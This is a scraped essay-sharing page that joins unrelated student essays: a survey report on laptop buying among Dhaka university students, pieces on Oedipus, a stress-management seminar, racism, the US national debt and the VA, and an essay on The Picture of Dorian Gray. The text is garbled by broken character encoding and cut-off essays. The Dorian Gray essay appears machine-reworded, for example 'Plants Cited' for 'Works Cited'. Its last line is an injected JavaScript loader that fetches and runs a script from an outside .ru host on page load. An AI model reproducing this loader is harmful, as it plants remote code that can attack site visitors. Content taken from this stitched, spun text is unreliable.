Laptop purchase on university Essay Example for Free

Laptop purchase on university Essay 1. Introduction: We are submitting a well-structured and comprehensive report on â€Å"Factors influencing University students’ Laptop purchases†. Despite many constraints like scope and access to information, we have tried to create something satisfactory. We have tried to follow your guideline in every aspects of preparing this report. We have concentrated on the most relevant and logical areas to make our report coherent as well as practical. We hope this report will entice your kind appreciation. This century is called technological century. So everyone prefers new technology to keep them ahead. This reports experience helps us to find out what factors influence student to purchase a laptop. Many thing influence student to purchase a laptop like Outlook, performance, Need, Physical In this modern time student wants to buy a laptop which increase status, fulfils need and entertainment. 1. 1 Objective of the report: The objective of this report is to find out the factors which influence Student’s purchase decision of laptops. The main objective of this report â€Å"Factors influencing University students’ Laptop purchases† is to find out the result about this issue. 1. 2 Problem statement: To prepare this report, the selected problem statement that we are going to find out is given below. To find out the most important factors which influence students’ purchase decision of laptops. To find out difference between Public and Private University. 1. 3 Scope and limitation: Scope: This report have covered on the students of three Private public Universities. The selected private universities within Dhanmondi area public it is Jagannath University, Dhaka University and BUET. Limitation: The report has covered around 200 students (3 private public) only for lack of man power. Due to the financial problem, We couldn’t cover all private public universities in Bangladesh. 1. 4 Methodology: Methodology of the report is given below 1. 4. 1: Topic selection: We have selected topic by discussion with group member. 1. 4. 2: Sample technique: We have surveyed by non-probability sampling. Our group members have surveyed within 200(Private: 100 Public: 100) students . In the private universities male female students are 50 50. On the other hand, in the public universities male female students are 50 50. 1. 4. 3: Data collection method: To prepare this report, the data have collected from the students of several private public Universities. 1. 4. 4: Data analysis method: To prepare this report, the data have analyzed by using graph, tally, and computer. 1. 4. 5: Data presentation: To prepare this report, the data have presented by using Microsoft office Word power point 2007. 2. Report Analysis: Our report is â€Å"Factors influencing University students’ Laptop purchases† we find out the result of two hundred students from three public private universities. The information we have collected is given below: Survey information (public university): We have surveyed on Public University within three departments (BBA, CSE EEE). We have surveyed between 20% female and 30% male in BBA, 10% female and 20% male in CSE and 5% female and 15% male in EEE departments. All of the students provided their reliable information. Survey information (private university): We have also surveyed on Private University within four departments (BBA, CSE, EEE ETE). There are 22% female and 49% male in BBA, 4% female and 5% male in CSE, 4% female and 13% male in EEE and 2% female 1% male students in ETE. Report analysis of public University: From the first question, high performing laptop is important for you , we found that 13. 33% male and 0% female are strongly agree, 36. 67% male and 15% female are agree, 50% male and 85% female are neutral . â€Å" Laptop is better than desktop† by following this, we found that 66. 67% male and 65% female are strongly agree, 23. 33% male and 35% female are agree, 10% male and 0% female are neutral . Here 60% male and 25% female are strongly agree, 26. 67% male and 75% female are agree, 13% male and 0% female are neutral . In this statement, 66.  68% male and 65% female are strongly agree, 20% male and 25% female are agree, 13. 33% male and 10% female are neutral . According to our survey result we found that, 0% male and 80% female are strongly agree, 0% male and 20% female are agree, 73% male and 0% female are neutral,23% male 0% female are disagree, 3% male 0% female are strongly disagree. Your parents think laptop is preferable for study than desktop, for this statement we found that, 0% male and 10% female are strongly agree, 16. 67% male and 45% female are agree, 70% male and 45% female are neutral,13% male 0% female are disagree. Here we found that ,10% male and 20% female are strongly agree, 10% male and 80% female are agree, 63. 33% male and 0% female are neutral,17% male 0% female are disagree. By analyzing our survey, we found that 83. 33% male and 75% female are strongly agree, 16. 67% male and 25% female are agree. Availability of service center influences you to buy laptop, for this statement we found that, 86. 67% male and 85% female are strongly agree, 13. 33% male and 15% female are agree. By analyzing our survey we found that, 0% male and 0% female are strongly agree, 13. 33% male and 65% female are agree, 76. 67% male and 35% female are neutral,10% male 0% female are disagree. For this question we found that, 6. 66% male and 0% female are strongly agree, 33. 33% male and 20% female are agree, 60% male and 80% female are neutral. In your honest opinion, an ideal laptop should have Weight of, 10% male 15% female are in Colum A, 73. 33% male 85% female are in Colum B, 16. 67% male 0% female are in Colum C. Here we found that, 6. 67% male 80% female are in Colum A, 80% male 20% female are in Colum B, 13. 33% male 0% female are in Colum C. In this statement we found that, , 80% male 90% female are in Colum A, 13. 33% male 10% female are in Colum B, 6. 67% male 0% female are in Colum C. Report analysis of private University: To prepare this report, we also covered private University within Dhanmondi area. Report analysis of private university is given below by graphically. From the first question, We found that strongly agree male 62. 71% and female51. 22%, agree male 23. 73% and female 19. 51%, Neutral male 8. 47% and female 14. 07%, Disagree male 3. 39% and female 2. 44%, Strongly disagree male 1. 70% and female 12. 20% about high performing laptop is important for you. According to our survey result, We found strongly agree male 54. 24% and female 36. 59%, agree male 22. 03% and female 31. 71%, Neutral male 16. 95% and female 4. 88%, Disagree male 6. 78% and female 14. 63%, Strongly disagree male 0% and female12. 20%. About laptop is a must for study purpose. Here, We found strongly agree male 40. 68% and female 19. 51%, agree male 25. 42% and female 12. 20%, Neutral male 28. 81% and female 26. 83%, Disagree male 3. 93% and female 14. 63%, Strongly disagree male 01. 70% and female 9. 76%. Students claim that laptop is a must for study purpose. By following this question, We found strongly agree male 59. 32% and female 26. 83%, agree male 25. 42% and female 29. 29%, Neutral male 08. 47% and female 14. 63%, Disagree male 6. 78% and female 19. 51%, Strongly disagree male 00. 00% and female 9. 76%. About laptop saves electricity. In this statement, We found strongly agree male 40. 68% and female 26. 83%, agree male 32. 20% and female 31. 71%, Neutral male 20. 03% and female 14. 07%, Disagree male 05. 08% and female 14. 63%, Strongly disagree male 00. 00% and female 09. 76%. About laptop’s physical outlook influences you to purchase a particular laptop. Your parents think laptop is preferable for study purpose thane desktop by following this We found strongly agree male 33. 90% and female 24. 39%, agree male 33. 90% and female 21. 95%, Neutral male 23. 71% and female 31. 71%, Disagree male 3. 93% and female 21. 95%, Strongly disagree male 5. 08% and female 2. 44%. â€Å"Do you think laptop increases your social status as student† ,this statement displayed strongly agree male 40. 68% and female 26. 83%, agree male 28. 81% and female 21. 95%, Neutral male 20. 34% and female 39. 27%, Disagree male 6. 78% and female 21. 95%, Strongly disagree male 3. 93% and female 00. 00%. According to our survey, We found strongly agree male 44. 07% and female 14. 07%, agree male 25. 42% and female 41. 46%, Neutral male 15. 25% and female 20. 20%, Disagree male 11. 86% and female 14. 63%, Strongly disagree male 3. 93% and female 14. 63%. About warranty facility influenced you to buy laptop. In this statement, We found strongly agree male 37. 29% and female 12. 20%, agree male 25. 42% and female 34. 15%, Neutral male 22. 03% and female 24. 09%, Disagree male 13. 50% and female 14. 07%, Strongly disagree male 1. 70% and female 9. 76%. About availability of service center influences you to buy laptop. Here We found strongly agree male 39. 90% and female 14. 07%, agree male 35. 60% and female 24. 39%, Neutral male 16. 95% and female 24. 93%, Disagree male 8. 47% and female 19. 51%, Strongly disagree male 5. 08% and female 14. 63%. About your friend circle influences you to buy laptop. By analyzing this statement, We found strongly agree male 47. 46% and female 14. 63%, agree male 27. 12% and female 26. 83%, Neutral male 16. 95% and female 26. 83%, Disagree male 5. 08% and female 14. 08%, Strongly disagree male 3. 93% and female 14. 63%. In this statement We found â€Å"A â€Å"male 55. 93% and female 34. 15%, â€Å"B† male 35. 60% and female 39. 02%, â€Å"C† male 8. 47% and female 26. 83%. Our survey , showed in question â€Å"A â€Å"male 22. 63% and female 24. 93%, â€Å"B† male 59. 32% and female 39. 62%, â€Å"C† male 16. 95% and female 36. 59%. About screen size of Laptop monitor. Survey of 100 students of the private university, We found â€Å"A†male 22. 63% and female 24. 39%, â€Å"B† male 59. 32% and female 39. 62%, â€Å"C† male 16. 95% and female 36. 59%. About battery7 backup of laptop. 2. 1 Major findings: The major issues that we have found from our survey result is given below. Most of the students of Public and Private Universities are preferred that Laptop is better than desktop. In the public university and private university, 66. 67% male and 65% female, 54. 24% male and 36. 59% female provided strongly agree. Most of the students of Private and public universities preferred that Laptop saves Electricity. (Male 59. 32% female 26. 83% ) and ( male 66. 68% female 65% ). Most of the female (80%) students of public university response that laptop physical outlook influences them to purchase laptop. Available of service center also influence students to purchase laptop. The major percentage of students (Male 80% 90%) thinks that an ideal laptop should have 3 to 7 hours battery backup. 3. Conclusion: As our hypothesis is to find out the difference between public and private university and most important factors which influence students to buy a laptop. So, from the analysis of our survey, we found that our hypothesis is accepted. 4. Appendix : For collecting the information, we have followed survey questionnaire format. The format is given below. Survey on  Ã¢â‚¬Å"Factors influencing University students’ Laptop purchases† Dear Respondent, We, from United International University (UIU), are doing a survey on Factors influencing University students’ Laptop purchases: A research in Dhaka city among Public Private universities, as part of our Business Communication course. For this, we need some reliable information. Would you please read the statements and provide your best response to each question. Gender: ? Male ? Female Type of your university: ? Private ? Public Department : _____________ [Strongly Agree=5 Agree=4 Neutral=3 Disagree=2 Strongly Disagree=1]. Statement Strongly Agree Agree Neutral Disagree Strongly Disagree 1. High performing laptop is important for you. 5 4 3 2 1 2. Laptop is better than desktop. 5 4 3 2 1 3. Laptop is a must for study purpose. 5 4 3 2 1 4. Laptop saves electricity. 5 4 3 2 1 5. Laptop’s physical outlook influences you to purchase a particular laptop. 5 4 3 2 1 6. Your parents think laptop is preferable for study than desktop. 5 4 3 2 1 7. You think laptop increases your social status as student. 5 4 3 2 1 8. Warranty facility influenced you to buy laptop. 5 4 3 2 1 9. Availability of service center influences you to buy laptop. 5 4 3 2 1 10. Your friend circle influences you to buy laptop. 5 4 3 2 1 11. You purchase laptop with a major intension of entertainment. 5 4 3 2 1 12. In your honest opinion, an ideal laptop should have 12. 1 Weight of A) Below 1kg B) 1-2kg C) 2-2. 5kg 12. 2 Screen size of A) 10- 13 inches B) 13- 15 inches C) 15-17 inches 12. 3 Battery backup of A) 3-7 hours B) 7-10 hours C) 10-12 hours Thank You for your Cooperation. 5. Reference: For preparing the report, we have take help from the following 1. Basic Business Communication, Tenth edition, Lesikar and Flatley. 2. www. Google. com 3. www. Wikipedia. com.

Oedipus the King Essay -- Greek Tragedy Oedipus King Essays

Oedipus the King The ancient Greeks were famous for their tragedies. These dramas functioned to â€Å"ask questions about the nature of man, his position in the universe, and the powers that govern his life† (â€Å"Greek† 1). Brereton (1968) stated that tragedies typically â€Å"involved a final and impressive disaster due to an unforeseen or unrealized failure involving people who command respect and sympathy. It often entails an ironical change of fortune and usually conveys a strong impression of waste. It is always accompanied by misery and emotional distress† (20). The play, Oedipus the King, by Sophocles definitely demonstrated the characteristics of an impressive disaster unforeseen by the protagonist that involved a character of respect, included irony, and was accompanied by misery and emotional distress. Tragedies usually chronicle a disaster that was unforeseen by the protagonist. To qualify as a disaster this event must have striking circumstances (Brereton 6). The spectators of the tragedy feel a deep sympathy for the protagonist because the decision made by this character was done without intending evil (New T-349). In Oedipus the King, Oedipus chose to leave Corinth to prevent the prophecy that he would kill his father and marry his mother. Even though this appeared to be an appropriate decision, it was wrong. In the process of leaving Corinth, Oedipus came across his real father at a three-road intersection and during a scuffle killed him. Later he married his mother, Iocastà ª, fulfilling the prophecy. Oedipus did not know that this was his true father or mother because he deliberately made the decision to leave Corinth thinking that Polybos and Meropà ª were his parents. The disaster that occurred her... ...t of the play. The play spoke of the downfall of Oedipus from respected king (someone of status) to a penniless, blind, exiled peasant who was scorned by the kingdom. At the end of the play, Oedipus and his family suffered the disgrace of their true reality. Works Cited Brereton, Geoffrey. Principles of Tragedy. Florida: University of Miami Press, 1968. â€Å"Greek Tragedy.† http://www.stremnet.nf.ca/~hblake/tragedy1.html (23 Nov. 1999). â€Å"Irony.† The American Heritage Dictionary. 1969. Mandel, Oscar. A Definition of Tragedy. New York: University Press of American, 1982. Sophocles. Oedipus the King. Literature: An Introduction to Fiction, Poetry and Drama. Ed. X. J. Kennedy and Dana Gioia. 7th ed. New York: Longman, 1999. 1255-1294. â€Å"Tragedy.† New Stanford Encyclopedia. 1998. â€Å"Tragedy.† The World Book Encyclopedia. 1998.

Reaction on stress management seminar Essay

Stress Management Workshop spearheaded by the Third Year Psychology Majors and their adviser Prof. Aminoding B. Limpao was successfully been carried out last March 03, 2013. The 4-hours activity from 8am-12noon were offered to students like me who are taking up the subject Psychology as part of our Course. The objective of the said activity focuses on what’s, where’s, when’s and how’s of the main topic which is â€Å"STRESS† itself. The workshop is about the nature and definition of stress; from where can we acquire it; the duration and when will it occur; and the possible interventions and coping activities that will enable us to manage it. These subtopics were presented to us. Before I went to the venue that day, I was preoccupied with the idea about how the activity would go. Lots of questions were formulated inside my head as of that moment. I don’t know exactly what to expect and what to look forward to. But there are just few things I am sure of, the learning and the knowledge that I will be able to acquire after adds interest in me. I am but a student who crave for knowledge and who search for information which will have a relevant impact into my life in the field of academe and also in my everyday living. Just the thought of positive and informative activity in which I can get something out of it gives vigor and motivation for me to really attend and discover how beneficial it could be to me. Since I have never been into such a Seminar Workshop involving Stress Management and its related topics, I choose to attend willingly aside from the compliance of this requirement. Together with my MSUan co-participants we were welcomed with the comfortable ambiance of the facilitating council with enthusiasm. I was amazed by the number of students willing to learn and sort out how such an activity will help us. I saw familiar faces but most of them were new to my eyes. Having no idea about the process of the workshop puts a little tinge of nervousness that grappled me. However, that strange feeling wear off as the opening of the workshop started. They facilitate ice-breakers and games so as to make us feel comfortable on them, the facilitators. They were very friendly and accommodating making us participant at ease in their hands. We were divided into groups composing 8-10 members. Each of the groups was isolated in a classroom and there the proper session was held. Inside the classrooms we did series of unexpected activities. I like the way they conduct the whole session because it’s not a spoon-feeding type of lecture but a two-way process wherein interaction is there. The facilitators let us discover and evaluate ourselves through asking us questions that aids our learning. These are my summation and learning drawn from the activity in which the questions and objectives presented has been answered. I learned that stress is considered as expected or unexpected constraining force, influence, conditions and the like. These stimuli are stressors which trigger a response from an individual and have relative effect from one person to the other. Stress is a two-faced event that is either negative or positive. They are characterized because of the nature of the cause whether it is from anxiety and pressures that result into a negative effect or it from strivings and challenges that motivate an individual resulting into a positive outcome. With the statements on the latter I can say that stress doesn’t only bring about negativities into our very lives but it also motivate us and compel us to become productive. If we don’t recognized the stressors around us and felt stressed out, probably we will not be able to accomplish tasks which are handed before us. Without stress we will not be able to strive in order to attain or finish something. We get stress for some factors, external or internal factors. External factors are the environment, the people we get in touched with, the activities we are facing every day, the conditions we are into. Internal factors may be classified into the mind setting that we have and the reactions we initiate upon subjected into a stressful situations. Sometimes it’s not always that other people or things are the very reason why we are stressed at times we create our own stress. Stress is everywhere, from the very day that we are born to the very last breath that we take in life. Therefore, we cannot really predict when this stressor will come to visit us. It is proper that we prepare ourselves anytime because during stressful situations our body reacts with it affecting the physical, emotional, cognitive and behavioral aspects of an individual that brings about change to the normal functioning. All of these aspects are interconnected with each other. We cannot really eradicate totally stress but at least we do steps which will lessen our vulnerability to it and to avoid oneself be controlled by this stress. With these, in order to cope up with this and to get back on track is to gain  control over one’s life. We do things which will lessen the baggage that we are bringing through the following activities: diversional activities, finding company to be with, sleep, eat, watching movies, self-isolation and others. But for me the very useful way to manage stress is to identify it, reflect for positive mind-setting, plan acts that will compensate with it, do this acts for the betterment of one self and everything else will follow later on that will finally lead to stress managing and stress relief. I also learned that there are also techniques on how to manage stress by doing massage, nine-joint exercises, relaxation techniques like deep breathing and others. Human as we are, we are created differently from one another. A stress for one may not be a stress for the other. An intervention or coping mechanism against stress by certain may consider by another as an additional stressors. Therefore, we must try to manage ourselves and recognize clearly our individual limits. The Stress Management Workshop, I may say, was a success. We learned a lot and at the same time we enjoyed the routines and sessions they conducted to us. Knowledge was acquired and rest assured this knowledge will be shared to others, be used in my daily living especially when I’m under a stressful situation.

Racism Black Masculinities Book Review - 768 Words

JaDechia Hill Black Masculinities Book Review #1 Racism has reared its ugly face for many decades, destroying families and interrupting lives. Most people do not consciously wake up and â€Å"do† race every day. In fact, many participants are unaware of the racial constraints and barriers that are placed on other groups based on the amount of melanin in the skin. Regarding racism in America, many are under the impression that racism is a thing of the past and that as a country, we have removed the element of racism from our culture. Many make statements like, â€Å"how can that be racist, if we have a black president†, or that person is just â€Å"pulling the race card, they aren’t a real victim† to combat accusations of racism. In events of apparent†¦show more content†¦The civil rights movement exposed how unconstitutional Jim Crow laws were. Civil Rights was assumed to have ended racism. However, Alexander claims that mass incarceration is a â€Å"a stunningly comprehensive and well-disguise d system of racialized social control that functions in a manner strikingly similar to Jim Crow. The War on Drugs takes place in areas of poverty or poor inner city ghettos and dismantles established communities. Those living in these impoverished communities lack political power and voice. Because the war on drugs does not explicitly target these groups, it is easy to write off those incarcerated as â€Å"trouble makers†. She explains that the one group we dislike more than any other are criminals. The war on drugs has been internalized by both people of color and whites to the point that it no longer surprises anyone when a black man is arrested and charged with possession or an act of violent behavior. It is as though it has become an expectation for black men to become a criminal. The media helps to push the idea that black = criminal through their projection of blackness in the media. Thus tainting the American psyche and training the psyche to make that association the blacks are more prone to violence and drug participation. I agree with Alexander that mass incarceration has become a ‘silent killer’ destroying families and â€Å"relegating† persons of color to permanent second class citizens.

The American National Debt Crisis - 2258 Words

Introduction In brief, citizens and companies will get a loan from a bank but when the US Government needs a loan it issues debt by selling Treasury financial instruments to other federal government agencies, people, companies, state- and local-governments, as well as to such equivalents abroad (Bureau of the Fiscal Service, 2013). The deficit is the ratio of spending and revenues in one year, but the national debt or federal debt is the sum of all previous deficits, less whatever sum the federal government has subsequently repaid. Hence, every annual government deficit due to borrowing is added to the national (federal) debt. A government surplus can reduce some of the national debt. Annually, the national debt incurs interest to be paid by the government which is linked to overall government spending (National Priorities Project, 2016). This paper will present and discuss the American national debt situation, propose two possible solutions and finally will endeavor to steer a conclusion as to which solution to follow. Current national debt policy and issue The United States (US) has a rising national or government debt (Nanto, 2011, p. 4), which in 2010 for example stood at $13.6 trillion (The Heritage Foundation et al., 2010) and in mid-2015 stood at $18.153 trillion (National Priorities Project, 2016). Combined with its future forecast (i.e. at $22.4 trillion by the end of this year of 2016, Chantrill, 2016) the national debt is unsustainable and the US is confrontedShow MoreRelatedUs National Debt1414 Words   |  6 PagesNational debt ceiling 101: Is a crisis looming? The Christian Science Monitor, Mark Trumbull, March 8, 2011, CSMonitor.com In this article, Mark Trumbull, a staff writer for The Christian Science Monitor, points out several different areas that the USA‘s National Debt crisis effects. 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The VA Health Care System Essay - 1079 Words

The VA (Veterans Affair) Health Care System is one of the largest, most advanced health care networks in the U.S. The VA Health Care System is the provider for veterans, retirees and their dependents and manages all their health care. The VA Health Care is actually one part of the Department of Veterans Affairs. There is also VA Benefits Administration which has to do with compensations and pensions. Then the other part of the VA is the National Cemetery Administration which is in charge of the cemeteries and providing burial and memorial benefits. All these parts make up the Department of Veterans Affairs. (VA History) In 1636 the â€Å"Pilgrims passed a law which stated that disabled soliders would be supported by the colony.† (VA History)†¦show more content†¦These facilities provide a broad spectrum of medical, surgical, and rehabilitative care. Then in 1973 the National Cemetery System (except Arlington National Cemetery) was transferred to the Veterans Administration from the department of the Army. The VA was charged with operating the Cemetery System this includes marking all the graves of veterans in national and state cemetery’s and administering the State Cemetery Grants Program. The Department of Veterans Affairs was established as a cabinet-level position on march 15 1989 under President Bush (senior), he addressed the creation of this new department saying, â€Å" there is only one place for the veterans of America, in the cabinet room, at the table with the President of the United States of America.† (VA History) One of the services the VA offers to veterans is Pensions. To receive pension benefits a veteran must be a low income individual, either permanently or totally disabled, or age 65 or older who has served more than 90 days of active military service with at least one during a period of war. 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The Picture Of Dorian Gray Corruption Through free essay sample

The Picture Of Dorian Gray: Corruptness Through Aestheticism Essay, Research Paper The Picture of Dorian Gray: Corruptness Through Aestheticism The Picture of Dorian Gray by Oscar Wilde is the narrative of moral corruptness by the agencies of aestheticism. In the novel, the well significance creative person Basil Hallward presets immature Dorian Gray with a portrayal of himself. After discoursing with misanthropic Lord Henry Wotton, Dorian makes a wish which awfully affects his life everlastingly. # 8220 ; If it were I who was to be ever immature, and the image that was to turn old! For that I would give everything! Yes, there is nil in the whole universe I would non give! I would give my psyche for that # 8221 ; ( Wilde 109 ) . As it turns out, the Satan that Dorian sells his psyche to is Lord Henry Wotton, who exists non merely as something external to Dorian, but besides as a voice within him ( Bloom 107 ) . Dorian continues to take a life of sensualness which he learns approximately in a book given to him by Lord Henry. Dorian # 8217 ; s unethical devotedness to pleasure go his manner of life. The fresh underscores its disapproval of aestheticism which negatively impacts the chief characters. Each of the three primary characters is an aesthete and meets some signifier of awful personal day of reckoning. Basil Hallward # 8217 ; s aestheticism is manifested in his dedication to his artistic creative activities. He hunts in the outside universe for the perfect manifestation of his ain psyche, when he finds this object, he can make chef-doeuvres by painting it ( Bloom 109 ) . He refuses to expose the portrayal of Dorian Gray with the account that, # 8220 ; I have put excessively much of myself into it # 8221 ; ( Wilde 106 ) . He farther demonstrates the extent to which he holds this doctrine by subsequently saying that, # 8220 ; merely the creative person is genuinely reveled # 8221 ; ( 109 ) . Lord Henry Wotton criticizes Basil Hallward that, # 8220 ; An creative person should create beautiful things but should set nil of his ain life into them # 8221 ; ( Wilde 25 ) . Ironically, the intent of Basil Hallward # 8217 ; s being is that he is an aesthete nisus to go one with his art ( Eriksen 105 ) . It is this really work of art which Basil refuses to expose that provides Dorian Gray with the thought that there are no effects to his actions. Dorian has this belief in head when he murders Basil. Here we see that the creative person is killed for his inordinate love of physical beauty ; the same art that he wished to unify with is the cause of his mortal ruin ( Juan 64 ) . Lord Henry Wotton, the most influential adult male in Dorian # 8217 ; s life, is an aesthete of the head. Basil is an creative person who uses a coppice while Wotton is an creative person who uses words: There is no good, no immorality, no morality and immorality ; there are manners of being. To populate is to experiment aesthetically in populating to experiment all esthesiss, to cognize all emotions, and to believe all ideas, in order that the ego # 8217 ; s every capacity may be imaginatively realized ( West 5811 ) . Lord Henry believes that, # 8220 ; it is better to be beautiful than to be good # 8221 ; ( Wilde 215 ) . Although he attests that aestheticism is a manner of idea, he does non move on his beliefs. Basil Hallward accuses him stating, # 8220 ; You neer state a moral thing and you neer do a incorrect thing # 8221 ; ( 5 ) . However, Lord Henry does take the immoral action of act uponing Dorian. Although Lord Henry states that, # 8220 ; all influence is immoral # 8221 ; ( Wilde 18 ) , he however drastically alterations Dorian Gray. As Dorian Acts of the Apostless on the beliefs of Lord Henry, the portrayal # 8217 ; s beauty becomes corrupted. # 8220 ; Lord Henry nowadayss Dorian with the renters of his New Hedonism, whose footing is self-development taking to the perfect realisation of one # 8217 ; s nature # 8221 ; ( Eriksen 97 ) . If Lord Henry # 8217 ; s aesthetic thoughts have cogency, Dorian Gray # 8217 ; s portrayal should non become ugly, but instead more beautiful. Since the image becomes loathsome, it is apparent that Lord Henry # 8217 ; s beliefs are untrue ( West 5811 ) . Dorian becomes so disgusted with the atrocious portrayal that he slashes the canvas, and the knife pierces his ain bosom. Because Lord Henry is responsible for act uponing Dorian Gray, he is partially the cause of the decease of Dorian ( 5810 ) . While Lord Henry is indirectly the cause of Dorian # 8217 ; s decease, he excessively causes his ain ruin. Lord Henry alterations Dorian with the belief that ethical motives hold no legitimate topographic point in life. He gives Dorian a book about a adult male who seeks gt ; beauty in evil esthesiss. Both Lord Henry # 8217 ; s actions and ideas prove catastrophic, as his married woman leaves him and the staying focal point of his life, vernal Dorian Gray, kills himself in an effort to foster the life style suggested to him by Lord Henry. Finally, he is left destitute, without Dorian, the art he so cherishes, because he tried to model it, as dictated by aestheticism. Of all the supporters, Dorian # 8217 ; s ruin is the most clearly recognized. A immature adult male who was pure at the beginning of the novel becomes depraved by the influence of Lord Henry. # 8220 ; He grew more and more infatuated of his ain beauty, more and more interested in the corruptness of his ain psyche # 8221 ; ( Bloom 121 ) . He begins to take a life of immorality, including the slaying of his beloved friend Basil Hallward. # 8220 ; There were minutes when he looked on immorality merely as a manner through which he could recognize his construct of beautiful # 8221 ; ( Wilde 196 ) . However, there is still a flicker of good left in Dorian. He ciliums out at his distorted wise man, Lord Henry, declaring, # 8220 ; I can # 8217 ; t bear this Henry! You mock at everything, and so propose the most serious calamities # 8221 ; ( 173 ) . This hint of goodness is non plenty to salvage Dorian, for he has crossed excessively far towards the kinky side of aestheticism and can non get away it. # 8220 ; Dorian experiments with himself and with work forces and adult females, and watches the experiment recorded twelvemonth by twelvemonth in the fouling and aging corruptness of his portrayal # 8217 ; s beauty # 8221 ; ( West 5811 ) . Dorian becomes so fed up with this portrayal of his psyche and his scruples, that he slashes the canvas, killing himself. For Dorian, this is the ultimate immorality act, the desire to free himself of all moral sense. Having failed the effort to get away through good actions, he decides to get away by perpetrating the most awful of offenses. Aestheticism has claimed its concluding victim. # 8220 ; Basil Hallward is what I think I am: Lord Henry what the universe thinks of me: Dorian Gray what I would wish to be # 8211 ; in other ages, possibly # 8221 ; ( Hart- Davis 352 ) . Because of the terminations he creates for these characters, Oscar Wilde proves that he does non visualize himself in the immoral characters of this narrative nor is he trying to advance their life styles. Of all the characters whom he creates, he sees himself as Basil, the good creative person who sacrifices himself to contend immorality. # 8220 ; It was his beauty that had ruined him, his beauty and the young person that he had prayed for # 8221 ; ( Wilde 242 ) . Contrary to Wilde # 8217 ; s claim in the foreword that, # 8220 ; there is no such thing as a moral or immoral book # 8221 ; ( seven ) , this novel has a deep and meaningful intent. # 8220 ; The moral is that an absence of spiritualty, of religion, of respect for homo life, separates persons like Wilde # 8217 ; s Dorian Gray from humanity and makes monsters of them # 8221 ; ( West 5831 ) . W.H. Auden feels that the narrative is specifically structured to supply a moral. He compares the narrative to that of a fairy narrative, complete with a princess, a wicked enchantress, and a faery godmother. This leaves # 8220 ; room for a moral with which good every fairy narrative ends. # 8221 ; Not merely is the fresh seen as bing on the pure degree of faery narratives, but it is claimed to incorporate # 8220 ; ethical beauty # 8221 ; ( Auden 146 ) . The Picture of Dorian Gray is a fresh including a moral duologue between scruples and enticement that is strongly conveyed. Though it is made to look an advocator for aestheticism on the surface, the narrative finally undermines that full doctrine. Wilde brings the inquiry of # 8220 ; to what extent are we shaped by our actions # 8221 ; ( 26 ) . He besides demonstrates that # 8220 ; art can non be a replacement for life # 8221 ; ( Eriksen 104 ) . It is a antic narrative of hedonism with a moral to be learned and remembered. Plants Cited Auden, W.H. # 8220 ; In Defense of the Tall Story. # 8221 ; The New Yorker. 29 November 1969. pp.205-206, 208-210. Bloom, Harold. Oscar Wilde. New York: Chelsea House Publishers, 1985. Ellman, Richard. Oscar Wilde. New York: Alfred A. Knopf Inc. , 1987. Eriksen, Donald. Oscar Wilde. Boston: Twayne Publishers, 1977. Hart-Davis, Rupert. The Letters of Oscar Wilde. New York: Harcourt, Brace and World, 1962. Juan, Efifanio. The Art of Oscar Wilde. New Jersey: Princetown University Press, 1967. Wilde, Oscar. The Picture of Dorian Gray. New York: Random House, Inc. , 1992. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;